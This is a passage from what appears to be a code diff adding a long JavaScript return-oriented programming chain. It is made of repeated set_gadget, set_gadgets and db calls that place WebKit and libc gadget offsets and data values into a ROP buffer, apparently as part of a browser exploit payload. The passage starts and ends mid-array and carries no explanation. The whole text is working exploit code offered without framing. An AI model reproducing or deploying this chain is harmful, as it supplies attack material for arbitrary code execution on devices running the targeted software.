+ropchain+460560, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+460592, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+460576, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+460704, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+460696, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+460720, +ropchain+461184, +libc_base+388400, +libc_base+713278, +ropchain+460776, +webkit_base+4687784, +libc_base+768796 +]); +db([1, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([1, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+460920, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+460936, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+460904, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+461040, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+461056, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+461176, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+461160, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadgets([ +libc_base+740138, +libc_base+713278, +ropchain+461240, +webkit_base+4687784, +libc_base+713278 +]); +db([4294965220, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+461320, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+461376, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+461472, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964136, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+461560, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+461576, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+461736, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+461768, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+461720, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+461752, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+461928, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+461880, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+461896, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([4, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+462008, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+462024, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+462112, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+462168, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+462296, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+462328, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+462312, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+462488, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+462520, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+462472, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+462504, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+462600, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+462616, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+462696, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+462712, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+462832, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+462816, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964128, 4294967295]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+740138, +libc_base+713278 +]); +db([4294964128, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+462976, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+462992, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+463152, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+463184, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+463136, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+463168, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+463304, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+463288, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964120, 4294967295]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+713278, +ropchain+463376, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([2, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([28, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+463576, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+601152, +libc_base+863109, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+463720, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+463736, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+463704, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+463832, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+463816, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+463928, +webkit_base+4687784, +libc_base+713278 +]); +db([4294965220, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+464008, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+464064, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+464160, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964136, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+464248, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+464264, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+464424, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+464456, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+464408, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+464440, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+464616, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+464568, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+464584, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([4, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+464696, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+464712, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+464800, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+464856, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+464928, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+464984, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+972324, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+713278, +ropchain+465088, +webkit_base+4687784, +libc_base+713278 +]); +db([4294964104, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+465192, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964128, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+465280, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+465296, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+465456, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+465488, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+465440, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+465472, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+465584, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+465568, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+465680, +webkit_base+4687784, +libc_base+713278 +]); +db([4294964140, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+465792, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+305680, +libc_base+863109, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([51, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([41, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+466072, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964128, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+466160, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+466176, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+466336, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+466368, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+466320, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+466352, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+466464, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+466448, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+466568, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+587872, +libc_base+863109, +libc_base+713278 +]); +db([4294967256, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+713278, +ropchain+466656, +webkit_base+4687784, +libc_base+713278 +]); +db([4294964104, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+466736, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+466792, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+466888, +webkit_base+4687784, +libc_base+768796 +]); +db([1, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+466984, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+467000, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+467088, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+467144, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+467272, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+467304, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+467288, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+467448, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+467416, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+467432, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+844101, +libc_base+713278, +ropchain+467696, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+467712, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([1932591104, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+467896, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964128, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+467984, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+468000, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+468160, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+468192, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+468144, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+468176, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+468288, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+468272, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+468384, +webkit_base+4687784, +libc_base+713278 +]); +db([4294964140, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+468496, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+258152, +libc_base+863109, +libc_base+713278 +]); +db([4294967264, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+468640, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+468656, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+468624, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+468776, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+468760, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964136, 4294967295]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+740138, +libc_base+713278 +]); +db([4294964136, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+468904, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+468920, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+469080, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+469112, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+469064, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+469096, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+469208, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+469192, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+604032, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+469360, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+161664, +libc_base+863109, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+469448, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964136, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+469536, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+469552, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+469712, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+469744, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+469696, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+469728, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+469824, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+469840, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+469936, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+469920, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+470032, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+470176, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+470192, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+470160, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+15055763, +webkit_base+47019, +libc_base+232261, +libc_base+713278, +ropchain+470368, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+470384, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+470352, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+470512, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+470544, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+470528, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+470656, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+470648, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+470672, +ropchain+471136, +libc_base+388400, +libc_base+713278, +ropchain+470728, +webkit_base+4687784, +libc_base+768796 +]); +db([1, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([1, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+470872, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+470888, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+470856, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+470992, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+471008, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ 